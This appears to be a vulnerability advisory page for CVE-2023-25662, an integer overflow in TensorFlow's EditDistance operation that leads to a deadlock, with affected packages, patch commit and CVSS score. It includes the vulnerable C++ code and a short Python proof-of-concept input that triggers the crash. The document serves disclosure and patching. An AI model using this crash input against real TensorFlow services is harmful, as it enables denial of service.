CVE-2023-25662
HIGH7.5EPSS 0.15%TensorFlow vulnerable to integer overflow in EditDistance
Description
### Impact TFversion 2.11.0 //tensorflow/core/ops/array_ops.cc:1067 const Tensor* hypothesis_shape_t = c->input_tensor(2); std::vector<DimensionHandle> dims(hypothesis_shape_t->NumElements() - 1); for (int i = 0; i < dims.size(); ++i) { dims[i] = c->MakeDim(std::max(h_values(i), t_values(i))); } if hypothesis_shape_t is empty, hypothesis_shape_t->NumElements() - 1 will be integer overflow, and the it will deadlock ```python import tensorflow as tf para={ 'hypothesis_indices': [[]], 'hypothesis_values': ['tmp/'], 'hypothesis_shape': [], 'truth_indices': [[]], 'truth_values': [''], 'truth_shape': [], 'normalize': False } tf.raw_ops.EditDistance(**para) ``` ### Patches We have patched the issue in GitHub commit [08b8e18643d6dcde00890733b270ff8d9960c56c](https://github.com/tensorflow/tensorflow/commit/08b8e18643d6dcde00890733b270ff8d9960c56c). The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1 ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by r3pwnx
Affected packages (4)
- Bitnami/tensorflowfrom 0, < 2.12.0
- PyPI/tensorflowfrom 0, < 2.11.1
- PyPI/tensorflow-cpufrom 0, < 2.11.1
- PyPI/tensorflow-gpufrom 0, < 2.11.1
CVSS scores
| Source | Version | Severity | Vector |
|---|---|---|---|
| osv | CVSS 3.1 | HIGH7.5 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |